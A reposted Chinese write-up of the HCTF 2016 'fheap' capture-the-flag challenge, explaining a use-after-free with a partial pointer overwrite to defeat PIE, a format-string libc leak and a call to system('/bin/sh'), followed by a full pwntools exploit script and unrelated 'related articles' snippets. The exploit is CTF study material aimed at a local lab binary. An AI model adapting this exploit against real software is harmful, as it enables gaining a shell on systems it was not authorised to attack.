2016 hctf fheap 题解

题目链接

https://github.com/zh-explorer/hctf2016-fheap

题目分析

题目功能只有 malloc 和 free 的功能,查看堆的布局:

1618355-20190327231351358-232660206.png

全局指针没有置空,导致 uaf 和 double free 漏洞,两种都可以做,但是这题的重点是绕过 PIE。

1618355-20190327231421627-670231027.png

  • double free 完了之后,会导致下面的情况

1618355-20190327231448735-828354381.png

这里需要注意一下 create 函数的逻辑:如果输入的字符串的长度大于 15,则重新 maloc 一块堆块用来存放字符串,如图:

1618355-20190327231530451-1994541761.png

但是这里还是选择使用 uaf 来做。

整体思路

  1. malloc 两个堆块,delete 两个堆块

  2. 重新 malloc 一个堆块,size 大于 24,这样就 malloc 到原来的堆块的区域,因为全局 flag 处还存放着原来堆块的指针,所以存在 uaf 漏洞。

1618355-20190327231625629-741525278.png

  1. 因为这里存在溢出,可以覆盖 free_ptr 指针,在开启 pie 的情况下,覆盖最后一个字节使得 free_ptr 被覆盖成 puts ,接着 delete 堆块时相当于输出 puts 函数的地址,得到基地址。

  2. 重复上一步,接着覆盖 puts 指针为 printf 函数的指针,构造一个格式化字符串漏洞,输出得到libc地址

  3. 重复上一步,覆盖 printf 指针为 system 函数的指针,布置好 "/bin/sh",接着 delete 就调用了 system 函数

1618355-20190327231707336-657651056.png

  • 格式化字符串那里存在问题,无法正常找到 libc 的地址,只能随便找到一个 ld 库的一个地址,但是这里的偏移都是一样的。

EXP

#!/usr/bin/pythonfrom pwn import *
DEBUG = 1if DEBUG:r = process('./pwn-f')elf = ELF('./pwn-f')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:r = remote('127.0.0.1',4444)def create(size,content):r.recvuntil("3.quit")r.sendline("create ")r.recvuntil("Pls give string size:")r.sendline(str(size))r.recvuntil("str:")r.sendline(str(content))def delete(idx):r.recvuntil("3.quit")r.sendline("delete ")r.recvuntil("id:")r.sendline(str(idx))r.recvuntil("Are you sure?:")r.sendline("yes")   create(10,"aaa")
create(10,"bbb")delete(1)
delete(0)create(25,'f'*24+p8(0xE4))delete(1)
r.recvuntil("f"*24)
puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))base_addr = puts_addr - 0xde4
success("base_addr :" + hex(base_addr))r.sendlineafter("Are you sure?:","H4lo")delete(0)printf_plt = base_addr + elf.plt['printf']payload = "%51$s^^".ljust(24,'A')
payload += p64(printf_plt)create(32,payload)delete(1)
addr = u64(r.recv(6).ljust(8,'\x00'))success(hex(addr))success("libc_addr :"+hex(addr+0xaf8-0x5d2000))
libc_addr = addr+0xaf8-0x5d2000        # 取到偏移delete(0)payload = "/bin/sh;".ljust(24,'A')
payload += p64(libc_addr + libc.symbols['system'])create(32,payload)r.interactive()

参考:

https://github.com/zh-explorer/hctf2016-fheap
https://www.cnblogs.com/shangye/p/6156350.html
https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/
https://blog.csdn.net/qq_33528164/article/details/79515831

转载于:https://www.cnblogs.com/H4lo/p/10611990.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/411912.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[vue] 在子组件中怎么访问到父组件的实例?

[vue] 在子组件中怎么访问到父组件的实例? 通过this.$parent个人简介 我是歌谣,欢迎和大家一起交流前后端知识。放弃很容易, 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题

linux 文件拆分 合并,Linux下文件的切分与合并的简单方法

linux下文件分割可以通过split命令来实现,可以将一个大文件拆分成指定大小的多个文件,并且拆分速度非常的快,可以指定按行数分割和安大小分割两种模式。Linux下文件合并可以通过cat命令来实现,非常简单。在Linux下用split进行文件…

Docker: Jenkins里的pipeline编写基本技巧

Jenkins里,先新建一个pipeline项目 Pipeline Syntax 在Sample Step里选择需要的插件,如果不存在,就去系统管理,插件管理里,进行安装。 如果源码管理工具用的是git,就在下拉里选择git 如果源码管理用的是svn&#xff0c…

[vue] 说说你对Object.defineProperty的理解

[vue] 说说你对Object.defineProperty的理解 Object.defineProperty定义新属性或修改原有的属性; vue的数据双向绑定的原理就是用的Object.defineProperty这个方法,里面定义了setter和getter方法,通过观察者模式(发布订阅模式&am…

非等值连接,外连接,自连接,子查询

非等值连接,外连接,自连接,子查询 非等值连接: select empno,ename,sal,grade from emp,salgrade where sal between salgrade.losal and salgrade.hisal; 外连接: select * from emp,dept where dept.deptnoemp.deptno(); 除了部门号相同的外,还加上了emp中没有而dept中包含的…

linux内核模块编写,Linux内核模块编程

1 总体设计思路Linux内核是单体式结构,相对于微内核结构而言,其运行效率高,但是系统的可维护性和可扩展性较差。为此,Linux提供了内核模块(module)机制,它不仅可以弥补单体式内核相对于微内核的一些不足,而…

函数式编程(一)

一、特征 函数式一等公民 强调将计算过程分解成可以复用的函数 纯函数、没有副作用 二、compose function compose(...funcs) {if(funcs.length 0){return (args)> args; }if(funcs.length 1){return funcs[0]; }return funcs.reduce((a,b)>(...args)>b(a(...args))…

[vue] vue组件里写的原生addEventListeners监听事件,要手动去销毁吗?为什么?

[vue] vue组件里写的原生addEventListeners监听事件,要手动去销毁吗?为什么? 需要,原生DOM事件必须要手动销毁,否则会造成内存泄漏个人简介 我是歌谣,欢迎和大家一起交流前后端知识。放弃很容易&#xff…

《解剖PetShop》系列之三

《解剖PetShop》系列之三 三、PetShop数据访问层之消息处理 在进行系统设计时,除了对安全、事务等问题给与足够的重视外,性能也是一个不可避免的问题所在,尤其是一个B/S结构的软件系统,必须充分地考虑访问量、数据流量、服务器负荷…

linux下带密码的scp,linux下带密码的scp

from linux下带密码的scp (2014-03-10 12:35:46)背景: 需要将一台机器的数据传输到另外一台机器上,两台机器没有信任关系,没有数据源一方没有ftp或者http,无法进行wget 解决方法: 在其中一台机器安装expect&#xff0c…

@RestControllerAdvice注解使用

在spring 3.2中,新增了ControllerAdvice,RestControllerAdvice 注解,可以用于定义ExceptionHandler、InitBinder、ModelAttribute,并应用到所有RequestMapping中。参考帮助文档。RestControllerAdvice 是组件注解,他使…

[vue] vue组件会在什么时候下被销毁?

[vue] vue组件会在什么时候下被销毁? 页面关闭、路由跳转、v-if和改变key值个人简介 我是歌谣,欢迎和大家一起交流前后端知识。放弃很容易, 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题

简单理解bash和常规操作

1. 什么是bash? Bash shell是一个命令解释器,它是操作系统的外壳程序,负责处理用户命令与操作系统内核之间的交互,当用户输入一个命令并执行时,shell会把命令解释并传递给内核,然后再把内核输出返回给用户&…

linux虚拟机dhcp启动失败,Linux 的dhcp启动异常之No subnet declaration for eth1 (192.168.48.134)...

最近折腾Centos自动化安装,需要的dhcp服务,使用yum -y install dhcp安装dhcp、dhcp-common的rpm包,启动dhcp时异常报错,由于dhcp是及服务,关于dhcp启动失败可以查看操作系统日志/var/log/messages,使用serv…

Developer Express .Net 2005 V7.2.1 crack

Developer Express .Net 2005 V7.2.1破解及下载 http://www.sofitcn.net/ 破解需要注册后才能下载。不要广泛外传! 转载于:https://www.cnblogs.com/ainima/archive/2007/07/14/6331513.html

[vue] 使用vue渲染大量数据时应该怎么优化?说下你的思路!

[vue] 使用vue渲染大量数据时应该怎么优化?说下你的思路! 1.如果需要响应式,考虑使用虚表(只渲染要显示的数据); 2.如果不考虑响应式,变量在beforeCreated或created中声明(Object.f…

linux u盘 uid pid,linux下的pid文件的作用

在Linux系统的目录/var/run下面一般我们都会看到很多的*.pid文件。而且往往新安装的程序在运行后也会在/var/run目录下面产生自己的pid文件。那么这些pid文件有什么作用呢?它的内容又是什么呢?(1) pid文件的内容:pid文件为文本文件&#xff0…

学习进度第4周

时间30小时代码量2000行左右博客园2知识点 知识点&#xff1a;从最基本的jsp连接数据库学习。 List<类名> listnew ArrayList<>()&#xff1a;这就像是一个容器。能把数据储存在 list里。 ResultSet rs&#xff1a;创建rs结果集可以用来接受储存数据。 rs…

昨夜的雨图片

昨天趟着淹没到屁股的雨水回家的&#xff0c;今天才知道&#xff0c;这是一场非常可怕的暴雨.本来就吓的够戗,现在直接两腿发软&#xff0c;几欲要哭了。想想真是后怕. 朋友说&#xff0c;你可真大胆,那么大雨你也敢趟.其实不是胆大,而是我走着走着水没的越来越往上了.幸亏个子…

[vue] 你有使用过JSX吗?说说你对JSX的理解

[vue] 你有使用过JSX吗&#xff1f;说说你对JSX的理解 jsx不是一门新的语言&#xff0c;是一种新的语法糖。让我们在js中可以编写像html一样的代码。 允许XML语法直接加入到JavaScript代码中&#xff0c;让你能够高效的通过代码而不是模板来定义界面个人简介 我是歌谣&#x…